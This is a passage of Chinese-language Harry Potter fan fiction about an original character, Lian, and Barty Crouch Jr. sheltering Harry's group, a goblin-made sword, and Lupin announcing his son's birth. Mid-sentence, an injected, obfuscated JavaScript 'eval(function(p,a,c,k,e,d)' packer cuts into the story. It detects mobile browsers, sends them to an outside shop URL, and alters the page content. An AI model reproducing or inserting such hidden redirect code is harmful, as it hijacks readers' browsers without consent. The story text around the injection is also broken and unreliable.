“我们是在讨论另一种生物,”比尔说,“许多个世纪以来,巫师和妖精的交往充满矛盾——这些你都可以从魔法史中去了解,双方都曾有过错,我绝不会说巫师清白无辜,然而,一些妖精认为——古灵阁的妖精也许更容易认为:涉及金子和财宝时,巫师就不可信任,并且巫师不尊重妖精的所有权。” “我尊重——”哈利说,但是比尔摇了摇头。 “你不理解的,哈利,没人能够理解,除非和妖精在一起生活过,对于妖精来说,任何一件东西的正当主人都是它的制造者,而不是购买者,凡是妖精制造的东西,在妖精看来,都理当归他们所有。” “什么?”众人异口同声的问。 “就算是巫师花钱买来的,妖精们也会认为那是付钱者租用的,他们最难接受的就是妖精制作的东西由巫师传给巫师,我相信那个妖精会像他同类中的极端者一样,认为原来的购买者死后,那东西就应该归还给妖精,他们认为我们这样习惯于占有妖精制造的东西,由巫师传给巫师而不再付钱,比偷窃好不到哪里去。” 哈利突然有了一种不祥的预感。 “我能告诉你的就是这些,”比尔用很严肃的目光看着他,“你在对妖精做出承诺时要格外小心,哈利,对一个妖精食言是很危险的事。” “好的,”哈利重复道,“好的,谢谢,我会记在心上的。” 说完,他对罗恩和赫敏使了个眼色,示意两人出去谈。 “谢谢你,比尔,你和芙蓉那里还安全吗?”莉安看他们离开了房间,偷偷瞟了小巴蒂一眼,尽量用轻松的语气问道。 “除了不能去上班,一切都很好,不过这不重要,芙蓉觉得两个人待在一起就很舒服。”比尔的脸色柔和了许多。 他继续问道,“你呢?克劳奇通知我们必须待在家里时,也解释了原因,我们都知道你去救哈利他们几个了,虽然具体的内情我不知道,但我看你这个样子,恐怕是受了重伤吧?” “没关系,没有大碍。”莉安轻声的说。 “用了凤凰的眼泪,”小巴蒂突然说道,“那个伤口很大,你差点儿失血过多死了。” “啊?眼泪已经派上用场了吗?”莉安怔怔的看着他,不住的思索着,“罗恩的熄灯器也是这样,太巧了…难道邓布利多可以预知到发生在我们身上的事?” “他不是预言家,不能未卜先知,我说过,他把你们所有人的性格都摸透了,你上次跟他谈话时,你说除了我没人表现出对你的偏爱,我觉得他可能也发现了这一点,所以特意给你留了那瓶眼泪,我猜他是想让你死心塌地的帮助波特。” 比尔皱起了眉,莉安也不太认同这句话,“我不认为他是故意要这么做,因为我答应他了,我会尽我所能的帮助哈利。” “那就是他对你、对普威特兄弟感到内疚,”小巴蒂不置可否,“这就像天秤的两端,你和哈利他们包括凤凰社的所有人在这一端,而那些模糊不清的影子在另一端。” “影子?” “那些我们不认识的人,那些战争之下的人,那些手无寸铁的麻瓜、没有战斗力的普通巫师们,邓布利多在为他们而战,他和你们站在天秤的这端,但他选择了那一端。” “但是这没有错,”比尔说,“邓布利多是最伟大的巫师,他在拯救更多的人,这也是凤凰社的理念。” “因为你们都是格兰芬多,”小巴蒂的语气十分尖锐,“但其他人更愿意选择明哲保身。” “你是斯莱特林?”比尔的眉头皱得更厉害了。 小巴蒂看了他半晌,烦躁的说,“拉文克劳,你刻板印象了!” 莉安噗嗤一声,忍不住笑了出来,“肯定是拉文克劳呀,他如果喜欢趋利避害明哲保身,怎么可能帮黑魔头复生呢,那他应该像马尔福那样极力脱罪,在魔法界混得风生水起,他这种狂热的精神更像是拉文克劳对真理的追逐。” “也是,拉文克劳比起斯莱特林不遑多让,那个丽塔·斯基特,还有你们的黑魔法防御术老师奎里纳斯·奇洛、吉德罗·洛哈特都出自拉文克劳,”比尔煞有介事的点点头,“听起来真是太棒了。” “是啊,彼得·佩迪鲁也是格兰芬多,”小巴蒂不客气的回击,“听起来也很棒,能让西里斯坐十二年牢,还没人能发现,甚至做了你家祖传的宠物,一个耗子能活这么久都没人察觉到异常,这是不是就是麻瓜说得那什么‘影帝’?” 莉安:……救命啊我不想看雄竞! “你们说够了没有?”她无奈的说,“巴蒂,我饿了呀,你不是说我失血过多吗?你现在想把我饿死吗?” 比尔面无表情的说,“那我就先回去了,芙蓉肯定在家里担心我,要知道闪闪出现时,可把她吓了一跳。” “那行,我让闪闪送你,有事我们就让闪闪传递信息,反正芙蓉已经见过她了。”莉安说。 比尔点点头,把手伸给闪闪,他们很快旋转着消失了。 房间里此时只有他们两个人了,莉安瞄了瞄丈夫阴沉的脸色,见他直勾勾的盯着自己,英俊的面孔藏在阴影里,看起来可怕极了,为了避免他发疯,她决定先下手为强。 她垂下睫毛,摸着已经愈合的伤口位置虚弱的咳嗽了一声,弱弱的说,“巴蒂…我好冷…” 小巴蒂瞪着她,只觉得她的演技实在辣眼睛,但他的确心疼她,更心疼自己差点没了老婆,最终还是脱掉外套,钻进被子把她搂进怀里,用自己的体温暖和她的确有些凉的身体,只是他闭上了眼睛,因为那副可怜巴巴的模样简直不忍直视。 “别跟我演戏。” “没有,我是真的很冷。”莉安狡辩道。 “我知道,流了太多血就是这样,”小巴蒂用下巴抵着她的头顶,声音听起来让人不寒而栗,“我会让她会付出代价的。” “但是一切以你为先,”莉安也闭上了眼睛,她很享受丈夫泛着清淡苦涩气味儿的怀抱,“如果报复她会让你暴露,那我宁愿不要。” “你放心,我不会那么蠢。” “你不怪我吗?”莉安忐忑的问,她觉得他的心突然跳的很快,“我差一点儿为别人死了…” “怪你有什么用,你会听我的吗?”小巴蒂淡淡的说,“一接到消息,你立刻就要跟我一起去马尔福庄园,拦都拦不住,你还要我把你放在地牢门口,如果你死了,那就是我亲手送你去死的,你要我后悔一辈子,对吗?这是你的诡计。” “不!我没有!巴蒂,我只是你不想费心费力的营救他们,那样你一定会暴露的,我不能那样,我不能没有你——” “那我就能没有你?”小巴蒂睁开满是血丝的眼睛,此刻他显得有些憔悴和可怜。 他捏住莉安的下颌迫使她睁眼,“你想把我一个人留在世上,真残忍,这是最残忍的事。” “不会了…下次不会了…”她喃喃的说,就算被他控制也拼尽全力在他唇上轻轻落下一个吻,“以后你去哪里,我就去哪里。” 小巴蒂看着她几乎失去颜色并且枯干的嘴唇,突然问了一句,“还冷吗?” “有你就不冷。” 他抓过旁边的风衣外套,把她裹紧,又把被子盖在他们身上,“现在呢?” “嗯,我很喜欢…很暖和…” 小巴蒂抚摸着她的后颈,那只灵活的手一直滑到背部凸起的椎骨上,他感觉,她的一部分现在留在了他的外套上。 重新表述:他的一部分留在了她身上。 这不就是他让她盖着的原因吗? 更正:他身上的她比她身上的他多。 是的,就是这样,他身上的她比她身上的他还多,因为他已经拥有了她,他希望她看穿他的想法,希望她一个一个的把他的每个想法都参透,他希望她知道他所知道的一切,以及他不知道的和可能永远不会知道的一切。 因为她裹着他的外套,她应该知道。 “我最喜欢这件外套,它跟你的袍子很像,它全是你的味道,巴蒂,我喜欢这样。” 她的确知道。 “我去给你拿点儿吃的,估计赫洛已经放在门外了。” 他正要起身时,莉安拉住了他。 “你着急离开我干什么?” “我不是离开,是你说你饿了的。” “那你快一点儿,我一秒钟都不想离开你。” 小巴蒂从床上跳了下去——他不知道这一时刻自己为什么想离开,或许为了表明态度,为了留个悬念,他不想因为待得太久而被厌倦,他也不想表现出他非常享受她在他怀里的感觉,或者说他从来不希望它结束。 但她说她一秒钟都不想离开他。 小巴蒂端着托盘回来,放在桌子上,又把她扶起来,让她倚靠在床头,然后一口一口的喂她喝杂鱼汤。 “巴蒂,如果没事就不要走了吧,”莉安不由自主的流露出脆弱的表情看着他,“还是说,魔法部很忙?” “我去不去都没关系,”小巴蒂帮她擦了擦嘴,“如果你要我陪你——” “要,”莉安握住了他拿着勺子的手腕,用近乎希冀的眼神望着他,“要。” 他的手腕抖了抖,直到最后一口汤喝完,他把勺子扔进了碗里。 “也许我还有别的事情要做。” “现在?什么事?” “我有我的秘密。” “即使对我也保密?” “本来想对你保密的,”小巴蒂又躺到床上,把她搂进怀里,“但我总会被诱惑而和盘托出,因为我真的很想说出来。” “那你说吧,你到底有什么事?” “如果你问,那你就已经知道是什么了。” “我想听你亲口说。” “因为我想在家陪你,但是我怕你厌烦我。” “怎么会呢?”莉安大为惊讶,“你知道这么多年我从来没有厌烦过你呀,我这么——” “这么什么?” “我这么爱你。”她小声说,脸也红了。 “我不想一个人回魔法部去待着,”小巴蒂失落的望着她,“我的心跳越来越快,这一定是因为你,但是我想,我的身份是不是总是给你带来伤害。” “但是我已经不介意了,”莉安的手环在他的腰上,“以前我的确介意,我想你离我远一点,但如果不是你的坚持,我们不会在一起,而和你在一起的每一分每一秒,我都很高兴。” “巴蒂,你不能这样做,”她柔声说,“你当年已经离开过一次了,这次我不会原谅你的,因为这次你出现,我挣扎过,也试图躲开你,但你不让我逃跑,你不能在得到我之后打算离开我,我们结了婚,也有了孩子,如果你对我说什么冠冕堂皇的理由,这样我会认为你不想履行承诺,我不会厌烦你的,如果可以,我希望一直跟你待在一起,就像比尔和芙蓉那样黏糊糊的,有时候我真的很羡慕。” 小巴蒂的嘴角颤了颤,听到她说出来“我爱上了你”和“我希望一直跟你待在一起”的感觉真好,因为这是平时活蹦乱跳的她很难说出的真心话。 正好他也不想一个人待着,他想和她一起,在她的世界里、她的房子里,在所有人都离开之后只有他们两个,和她在一起——即使她受了伤,就像他的心也跟着受伤了一样,但就算遭遇磨难、遍体鳞伤,依旧充满渴望。 和她在一起,直到他身上也充斥着她的味道,他们一起思考,一起说话,一起呼吸。 他忘乎所以了。 “再睡一会儿吗?” “那你还走吗?” “不走,我陪你。” “那睡吧,一起睡,你都有黑眼圈了。” “好。” 过了几天,莉安可以下床走动了,今天的天气很不错,她示意伊夫把从勒洛伊家族拿来的东西放在花园里晒一晒,毕竟有些珍贵的材料还是很需要阳光的。 “波特先生,”闪闪没好气的冲着在花园里围观伊夫炫富的哈利喊道,“那个坏妖精说要跟你谈谈,他在走廊尽头最小的房间里,他说不希望有人偷听。” 她显然很讨厌妖精派她来传递消息,等她转身时,她看上去脾气很不好。 赫敏偷偷追上了闪闪,“闪闪,你有报酬吗?” “格兰杰小姐,别再说这种话,你总是满脑子不切实际的幻想,就像多比一样,家养小精灵干活是没有报酬的,”闪闪尖声说,“我可不想像我听说过的某个下贱的妖精一样,被神奇动物管理控制司抓去问罪。” “那你的主人对你好吗?”赫敏怒其不争的瞪了她一眼。 “我从生下来就服侍我的巴蒂少爷,”闪闪认真的说,“他对闪闪很好,女主人也是,当初闪闪被克劳奇先生解雇,是她收留了我们,还让闪闪继续做少爷的小精灵,被解雇的小精灵是很难找到工作的,但闪闪是个例外,闪闪非常幸运。” “后来女主人给巴蒂少爷生了三个孩子,”她继续说道,“她是个很慷慨的女巫,虽然这家里有三个小精灵,需要干的活儿没有那么多,毕竟有一个小精灵就够了,但我们可以一人照顾一个小主人,见者有份,女主人真是闪闪见过最好的主人!” “如果我们需要报酬,主人一定会给我们的,”带着兰斯准备去花园玩儿的赫洛正好路过他们身边,她指着炫富的伊夫,用不大不小的声音说,“看到那些东西了吗?主人很富有,但是索要报酬是可耻的,小姐。” 说完,她冲向花园,嘴里还在尖叫,“快放下那把剑,兰斯少爷!” 罗恩拍了拍赫敏的肩膀,“走吧,莉安可比马尔福强多了,对吧?多比很惨,他经常撞墙惩罚自己,可是你看这三个小精灵,他们一个比一个牛,那个老精灵还会骂人,骂得比克利切还难听,天呐,他居然说贝拉特里克斯是英国土鳖,你都没看到她当时那个表情,没办法,他是法国来的,他甚至看不起英国巫师。” 伊夫:管他哪个国家,我只是平等的看不起托宾大魔法师后代之外的任何巫师。 赫敏不敢苟同,不过正事要紧,她跟着哈利和罗恩一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13754023|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起去了妖精指定的房间。 小天狼星无事可做,变成了黑狗在花园里晒太阳,他不知不觉就睡着了,等他醒来时,他看着赫洛手里那把剑,突然来了兴趣。 “这是什么?”他迅速变了形。 “我主人的祖先——大魔法师托宾的圣剑,赤诚之剑,”伊夫自豪的说,“这把剑已经流传了十几个世纪,它无坚不摧,也不会落灰,剑身永远闪着红光,像血一样。” “能给我看看吗?”小天狼星礼貌的说。 “当然,我慷慨的主人一定不会拒绝你的。” 小天狼星从赫洛手里拿过那把剑,他的眉头皱的越来越紧,“这是妖精打造的吗?” “我想是的,”伊夫拖长了声调,慢吞吞的说,“能为托宾打造圣剑,是他们的荣幸。” “砍入钢铁而不会卷刃,锋利无比,”拉环悄悄走了进来,“这把剑我听说过,十二圣骑士的佩剑都是妖精做的。” “但这是我主人的祖先花钱打造的,”伊夫恶狠狠的瞪了他一眼,“不要说是属于你们的,无耻的家伙!” 拉环也看着他,目光鬼祟而含有挑战意味。 “这把剑…”小天狼星看着跟随而来的哈利,轻声的说,“如果我猜的没错,它有跟格兰芬多的宝剑一样的威力。” 哈利陷入了沉思,而拉环看着宝剑在他们手里传来传去,表情非常不满。 “这把剑的历史比戈德里克·格兰芬多生活的年代还要早两个世纪,”莉安倚在门口,轻声解释道,“但是现在的巫师基本不佩剑,所以它一直待在我的母亲家族的藏品室里。” “这真是暴殄天物了,”小天狼星说,“哈利,我基本可以确定它的确有用,要知道在那个时代,作为一个跟随帝王四处征伐的大魔法师来说,他们的剑上可能附有古代魔法,当然也杀过不少黑魔法生物,因为那是一个怪物横行的时代。” “那是不是说我们可以——”罗恩刚激动的说了几个字,赫敏就给了他狠狠一肘击,他立刻讪讪的住了嘴。 “嗯,我赞同,”哈利看到拉环去厨房管闪闪要食物了,他警惕的说,“那我们再商量一下,如果到时候出了什么意外,那就借一下吧,莉安,可以借吗?” “可以。”莉安痛快的点头,伊夫对她投来一抹幽怨的目光。 之后哈利几人和妖精一直把他们自己关在那个小房间里,一待就是好几个小时,渐渐的,几天过去了,几星期过去了,时间很快就到了四月。 祖宅里的其他人不可能没发现异常,尤其是敏锐的小巴蒂,因为小天狼星、哈利、罗恩和赫敏只在吃饭的时候出现,但他没有过问,只是让赫洛把饭给他们送到房间里,省的他们为了尊重主人还要耽误时间下楼吃饭。 在伊夫精心的照顾下,奥利凡德还是显得异常虚弱,他从小巴蒂这个间谍口中得知伏地魔还在到处找他,更是吓坏了,于是莉安挽留他住下来时,他想也不想就答应了,偶尔谁问他一些关于魔杖的问题,他也是知无不言,是个很和蔼的老人,祖宅里没有一个人不喜欢他。 那个妖精就不客气多了,他一直在支使闪闪,坚持要吃大块的生肉、根茎和各种真菌,把闪闪气得三天两头就骂人。 “对不起,”在一个狂风大作的夜晚,哈利悄悄对在厨房给小巴蒂准备晚餐的莉安说,“我真不想让你们承受这一切。” 几把刀子正在自动切鳗鱼,莉安笑了笑,“哈利,我丈夫曾经做过错事,他把你送到黑魔头那里,又差一点儿杀了你,我不会忘记的。” “不管怎样,我曾经认为你很圣,”她接着说,用魔杖指着料理台上的一些调料和酱汁,它们落在一个罐子里开始搅拌,“但如果你不是这样的人,你怎么会心平气和的对他说话呢?” 哈利听到她的愧疚,不知道要不要提醒她,这一次她也为他们差点儿死了,而小克劳奇一直在帮他们善后。 这种打入敌人内部的感觉太爽了。 “至于那个妖精,”莉安微微吸了吸鼻子,瓮声瓮气的说,“我的确不喜欢他,不过没关系,要知道巴蒂是看在他还对你有用的份上才会容忍他的。” “是啊,他很重要,”哈利说,“保持他的心情愉快对于我们的任务至关重要。“ 他接着说,“我和西里斯、罗恩、赫敏很快就要走了,我们不会再待多久,带着拉环。” “我知道了,”莉安的魔杖指着悬在半空中的大汤锅,让它落在炉子,鳗鱼段和调味汁飞了进去,她的杖尖喷出一股红酒落在锅子里,它们开始冒泡,“你们这次要小心一些,别再叫出那个名字了。” 哈利点点头,这时迪安和卢娜进了厨房,外面下了雨,他们浑身湿漉漉的,手里还抱着一些木头,往壁炉里添了一些。 “…迷人的小花园,遍地都是地精,真是讨人喜欢哪!”卢娜说,“爸爸说我们能从聪明的小地精那儿学到很多东西——哦,它们准确的名字是,花园工兵精。” 迪安看起来不大自在,他耸了耸肩,跟着卢娜布置餐桌,但是他们马上被赫洛推了出去,打发他们去找陪着小主人们的闪闪,哈利也跟了过去。 大风刮着祖宅的窗户,小巴蒂回来时,哈利已经回到了楼上去,桌子旁只有卢娜和迪安,以及妻子和她亲手做的一大锅法式炖煮鳗鱼,旁边壁炉里的火焰噼啪作响。 莉安帮他整理了风吹的有些乱的头发,又把他拉到水池边洗手,这才问道,“怎么样了?” “他们都还不错,”哗啦哗啦的水流声没有盖住小巴蒂的声音,他的话依然清晰可闻,“莫丽已经知道你受了重伤,比尔禁不住她一直追问不得不告诉了她,她见到我哭哭啼啼的,甚至还想来看你,我说不行,她哭得更厉害了,不过亚瑟让我向大家问好,金妮说她爱你们,弗雷德和乔治让你的穆丽尔姑婆很生气,他们仍然在她的后屋承接猫头鹰订单业务,不过,见到我她很高兴,她说上次我转移韦斯莱一家时她没敢问,只顾着害怕了,她看报纸还以为你真的被我强占了呢,不过后来莫丽和她解释了咱们的事,她夸我英俊,你没有吹牛。” “哈哈,穆丽尔姑婆肯定还是害怕你,”莉安笑出了声,“不然她肯定会鸡蛋里挑骨头。” 接着,她又说,“但姑妈——” “我告诉了她珀西在我手下很安全,现在大家都很安全,她破涕为笑。” “快来吃饭吧。”莉安推着他坐下,魔杖一挥,两根法棍飞了过来,斜着切成了片,落进各人的盘子,法式炖煮鳗鱼的汤锅也在每人的碗里倒了一份。 “除了布斯巴顿魔法学校来的那一年,我长这么大还是第一次吃到这么多法国菜。”卢娜快乐的说,而迪安低声道谢。 “那一年的伙食最好,”小巴蒂尝了尝香味扑鼻的鳗鱼,感叹道,“英国麻瓜们会把它做成鳗鱼冻,那是我吃过最难吃的东西。” 卢娜还没来得及说话,前门突然“砰”的一响,迪安吓得跳了起来,卢娜面带惊恐,小巴蒂和莉安拔出了魔杖,走出厨房,而小天狼星、哈利、罗恩和赫敏站在楼梯的拐角处,警惕的望着大门。 “是谁?”莉安喊道。 “是我,莱姆斯·卢平!”一个声音在呼啸的风声中喊道。 “你的妻子喜欢自称什么?为什么?” “唐克斯,她认为尼法朵拉很难听,但是我觉得很好!”他继续说道,“你在通信时告诉了我们这个地址,叫我有紧急情况就过来!” “是月亮脸。”小天狼星跑过去拉开了前门的铰链。 卢平跌跌撞撞的跑了进来,他脸色苍白,裹着一件旅行斗篷,灰白的头发都被风刮乱了,但他兴奋的环顾四周,然后大声喊道,“是个男孩儿!我们给他起名叫泰德,用了朵拉父亲的名字!” 赫敏尖叫起来。 “什么?唐克斯生了?” “生了,生了!生了小宝宝!”卢平喊道。 周围一片欢呼声和欣慰的叹息声,赫敏和卢娜都尖叫道,“恭喜恭喜!” 罗恩好像以前从没听说过这种事似的,激动的直嚷嚷,“我的天哪,一个新生儿!在这个时候真是好消息!” “是的,是的,一个男孩儿,”卢平高兴得似乎飘飘然了,他大步上前,和哈利拥抱,“你愿意当教父吗?” “我…我?”哈利结结巴巴的说。 “对,是你,当然,朵拉完全同意,没有人更合适了。” “我?好的…天哪——” “真是好样的,月亮脸,我之前一直担心你,”小天狼星的表情柔和下来,“你对她好一点,别再离开她了。” “我知道,我不会再做懦夫了。”卢平拍了拍他的肩膀,两人突然一笑,抱在了一起。 等他们分开时,莉安往卢平手里塞了一瓶火焰威士忌,希望庆祝一下。 “我不能待得太久,必须回去,”卢平冲着大家眉开眼笑,“谢谢你,莉安。” 小天狼星的魔杖一挥,所有的酒杯倒满了酒,大家举杯庆祝。 “他长得像谁?”赫敏问道。 “我认为他像朵拉,可是朵拉认为像我,头发不多,刚出生时看上去是黑色的,但是我发誓一小时后就变成了姜黄色,很可能到我回去时就是金黄色了,安多米达说唐克斯出生第一天头发就开始变色。” “哦,再来一杯。”卢平把酒一饮而尽,他笑眯眯的添了一句,小天狼星又给他加了酒。 “不…我必须回去了。”过了一会儿,卢平终于说道,他站起身,将旅行斗篷重新裹到身上。 “再见,过几天我想办法带些照片来,他们知道我见到了你们,都会非常高兴的——” 他系好斗篷后,眉开眼笑的返回了狂风呼啸的黑夜里。 “教父,哈利!”迪安和卢娜围着他说,“真是荣幸啊!恭喜!” 尽管卢平已经离开,他们还在继续庆祝,狂风吹打着窗户,炉火跳跃着,噼啪作响。 小巴蒂吃了两大碗炖煮鳗鱼,跟着莉安上了楼梯,把空间留给他们。 他一只手抱着女儿,另一只手又用魔杖指着头顶正在漂浮的两个儿子,先把他们送回各自的房间里,这才回到卧室。 “这是新生命的诞生,”莉安搂着他的脖子,深情款款的说,“他们肯定要狂欢到很晚,我们早点睡?” “波特他们还一直躲在房间里?”小巴蒂抱住了她的腰,上下摩挲着。 “是啊,不过哈利跟我说,他们最近可能要走了,带着那个妖精。” “走了正好,”小巴蒂轻松的掀起了她的袍子,把她按在床上,“天天听闪闪骂人也挺烦的,不过不是骂我,我还可以忍受。” 莉安翻身,在他唇上落在一个吻,“别说扫兴的话,今晚才刚刚开始呢。” 小巴蒂很享受她的主动,把她压在自己身上,野蛮的回吻着,他今晚不想谈论任何事,他想和她在一起,想要被爱,因为他们之间距离不再像两颗遥远星球,隔着数千万里、以光年计算的距离。 他想要爱,想要浪漫,想要迷醉,他希望他们的生活充满魔力,因为它太稀缺了,好多年轻男人在爱中热切而无私,他愿意,死心塌的愿意像他们一样,走了大老远的路程过去或者回来,就为了能夜里站在她的房子前,朝她的窗户扔雪球,看着她的熔岩星球灯发出淡蓝色的光芒,直到呼吸不上来,冻死在那里,留下的只有一首歌和一个冰冻的脚印。 41.金杯 1998年5月1日,普威特祖宅。 黎明很寒冷,但由于是五月了,没有什么风,莉安裹着小巴蒂的睡衣衬衫,指挥赫洛往赫敏小包里装一顶魔法帐篷和许多食物,这个串珠小包施了无痕伸展咒,里面空间很大。 哈利和罗恩抬头看着仍在黑色夜空中闪烁着微光的星星,他们又要出发了。 “有什么事就回来找我,好吗?”莉安拥抱了罗恩。 “没问题,莉安,”罗恩痛快的说,“你这里太安全了,我都快忘了外面有多凶险了。” 莉安噗嗤一笑,把小包递给迫不及待走过来的的赫敏。 她低声道谢,然后严肃的看着罗恩,准备用人体变形术帮他易容,“罗恩,让我给你弄…” “我不喜欢胡子太长——”罗恩叫道。 “哦,看在老天爷的份儿上,这不是好看不好看的问题——” “不是的,它碍事儿!不过我喜欢我的鼻子变短一点,就照你上次弄的那样。” “西里斯,你别太莽撞了,如果真出了什么问题,第一时间来祖宅,我最近都会待在家里,反正巴蒂在魔法部一个人应付的过来。”莉安又去叮嘱已经易容成一个络腮胡大汉的小天狼星。 “是啊,我明白你的意思,不会那么做了,我非常感激克劳奇把我带了回来,”小天狼星笑了笑,用低沉的声音说,“不然贝拉那个疯女人肯定会杀了我。” “别担心,现在外面没有那么危险了,”莉安安慰道,“巴蒂告诉我,自从我们逃走之后,马尔福庄园的人就被囚禁了起来。” “现在还没放出来吗?”哈利不可置信的问,他身上还背着妖精。 “没有,黑魔头很生气,狠狠的惩罚了他们,尤其是贝拉特里克斯和马尔福,他们一直被禁闭在屋子里。” 这时,赫敏有点焦虑,对哈利使了个眼色,但哈利用很坚定的眼神跟她对视,赫敏最终败下阵来。 她叹了口气,嘴里喃喃的念着,继续帮罗恩改变容貌,他会被赋予了一个完全捏造的身份,而哈利和拉环披上了隐形衣。 “好了,”赫敏说,“他看起来怎样,哈利?” 伪装过的罗恩还能勉强辨识出来,但那仅仅是因为他们和罗恩太熟悉了,他现在头发长而卷曲,下巴上有一把浓密的棕色胡须,上唇也留着小胡子,脸上没有了雀斑,眉毛很浓,鼻子又短又宽。 “嗯,不是我喜欢的类型,但是还凑合,”哈利在隐形衣里说,“我们可以走了吗?” 四人都回头看了一眼普威特祖宅,它黑乎乎、静悄悄的卧在若隐若现的星星下,一盏微弱的蓝色灯光从二楼的窗户里柔和的映照出来,而莉安正在门口目送他们。 他们对她挥挥手,转身朝外走去,拉开前门的铰链,这里是赤胆忠心咒的范围,莉安只见小天狼星带着孩子们警惕的踏出一步,便幻影移形消失了。 赫洛进了厨房,准备做早饭,莉安轻手轻脚的回了二楼,这时也才早上六点半,其他人都没有醒,她叹了口气,进了孩子们的房间,发现闪闪和伊夫都在他们床边的小窝里呼呼大睡,又退了出来。 等她摸进自己的卧室时,她刚在床里面的位置躺下,小巴蒂的睫毛就抖了抖,他睁开眼睛,看起来毫无睡意的样子。 “波特走了?” “走了。”莉安脱掉带着晨露的衬衫,里面是一件露背的吊带睡裙,布料光滑垂顺,她钻进丈夫的怀里,用力的搂着他。 “你今天去魔法部吗?亲爱的?” “要去,今天事情很多,等我处理完司里的事还要去一趟阿兹卡班,对角巷很多商店的老板都在另一个区域,离那些小巫师们不远,前一阵子我把威廉森调了过去,他很会看眼色,我猜他已经明白了我的意思,最近他和普劳特一直待在一起,估计是对她说了什么,普劳特安分多了。” “威廉森很怕你报复他,”莉安差点笑出了声,“当初在神秘事务司他特意先缴了你的魔杖,又亲自把你押送阿兹卡班,结果他刚走你就越狱了,那阵子他对你恨得牙痒痒,后来你做了司长,他居然还能绷住表情,对你恭恭敬敬,我都佩服死了,要知道他之前是部长保镖,能给福吉那个胆小鬼做保镖的都是最优秀傲罗,仅次于金斯莱,所以德力士基本上什么都听他的。” “你也不差啊,如果不是辛克尼斯没有实权,你肯定会被调去做部长保镖的,”小巴蒂抚摸着她的光滑瘦削的后背,语调十分慵懒,“所以只能委屈你做司长保镖了,你是个强大的傲罗,形象很正面,我娶了你,这是对外面释放的信号——无论他们是否怀疑是食死徒在控制魔法部,但傲罗指挥部已经归顺新的政权,并且新的掌权者没有打算清除以前的官员,这无异于给群众吃了一颗定心丸,我这一着棋非常聪明,黑魔王也没有怀疑,甚至他非常认可这种平和的试探手段,毕竟,他当初就没有宣布篡位,而是躲在幕后,因为他不想引来公开的反抗,只想造成迷惑、猜疑和恐惧,他在鲸吞蚕食魔法部的势力,但却为我做了嫁衣。” “我听不太懂。”莉安打了个呵欠,被他说得眼睛都快睁不开了。 “打个比方,一个国王杀死了另一个国王,获得了他的领土和人民,为了不让他们因为抵触情绪而造反,这个国王会用最温和的手段过渡政权——娶大臣或者贵族的女儿,安抚那些亡国旧臣的心,他不可能杀死所有的反对者,尤其是旧臣,因为这样他就无人可用了,没有人再帮他管理这片土地和人民,现在懂了吗?” 回答他的是一阵细微的呼噜声,小巴蒂低头一看,妻子已经在他怀里睡熟了。 小巴蒂:……上帝是公平的。 莉安:我强吗?心计换的! 等莉安一觉醒来的时候,已经是日上三竿了,她美美的伸了个懒腰,感觉房间里、被子上、甚至她的身体里都是他的气味儿。 她拉开窗帘,让阳光透了进来,她不由自主的想到如果丈夫还躺在床上,那么此刻他的头发个睫毛都会跳跃着微弱的光芒——对她来说,金色是最好看的颜色。 莉安把长袍披在身上,往楼下走去,她想他,想他的手、他的头发和这些,想他穿着风衣站在外面,还有当她把虚张声势的渴望误认为散漫、潦草、直白的求欢时的那种神情,他提醒她那是认真、祈求、迫不及待的。 她想他,但又害怕他会离开,所以她想拐弯抹角的、偷偷的、克制的想他,就像暴风雪想要从缝隙穿过格兰芬多的围巾,就像她宣称不会唱歌却在洗澡的时候轻轻哼唱那样,她想他,她想让他成为她最后想起的人,一个让她不能完全集中注意力的人,一个让她开始忘记自我的人。 和他度过每个夜晚,在熔岩星球灯下接吻、拥抱、抚摸、睡觉… 疯了,完全疯了的想法。 当她走近客厅的壁炉,想更好的审视这种感觉时,她几乎可以看到炉火把它通亮的火焰靠在她的肩膀上,帮助她看得更清楚,它知道那个十几年前的夜晚,它知道她在寻找安慰,才如此努力的给予她安慰。 那十几年,她甚至开始觉得这壁炉是一个人,这个人了解这种几近幸福和绝望的渴望是什么感觉,并向她解释,因为它认识她很多年了,肯定了解她是谁,或者为什么她每个晚上都会站在这里。 当十三年后他再次踏进这个房子里时,她不由自主的问出了口,她希望它可能会告诉她,为什么生活把小巴蒂扔给了她,然后看着她挣扎着去够救生圈却不断往下沉。 “所以你知道我想说什么,你明白吗?” “噢,我知道,我明白。” “我该怎么办?” “你该怎么办?你想了他那么多年,极度渴望再见到他,但等他真的出现时,你却迫不及待的赶他走,你想让我说什么,指导吗?答案?都没有。” 壁炉愠怒的收声,她唯一愿意与之交谈的人不再理会她了,她再也没有可以说这些的人了。 “主人?”突然,一个尖声尖气的声音唤醒了她的沉思,“主人,你不吃饭吗?可是坏巫师特意交代我一定要看着你吃饭,他说你需要补充血液!” “都快两个月了,”莉安低头看着赫洛,无奈的说,“我真的已经好了。” “噢,可是他也是我的主人,我不能违抗他的命令,”赫洛不以为然的说,“坏巫师还说,等他从阿兹卡班回来,还要去一趟马尔福庄园,他说如果你饿了,不用等他回来吃晚饭。” 莉安想到小巴蒂三天两头就去马尔福庄园阳阳怪气,把贝拉特里克斯气得无能狂怒,她就忍不住笑出了声。 “卢娜和迪恩呢?”她抹了抹笑出来的眼泪,问道。 “他们已经吃过了,洛夫古德小姐在花园里试验她的新魔杖,托马斯先生在房间里和奥利凡德先生聊天。” 莉安点点头,“孩子们呢?” “兰斯少爷在玩玩具,洛特少爷在堆沙子,”赫洛指了指花园那几个说说笑笑的身影,“伊夫抱着莎莫小姐在晒太阳。” “他们长得可真快。”莉安摇了摇头,语气里满是宠溺和无奈,面对自己的孩子时,她一向引以为傲的自制力就会溃不成军。 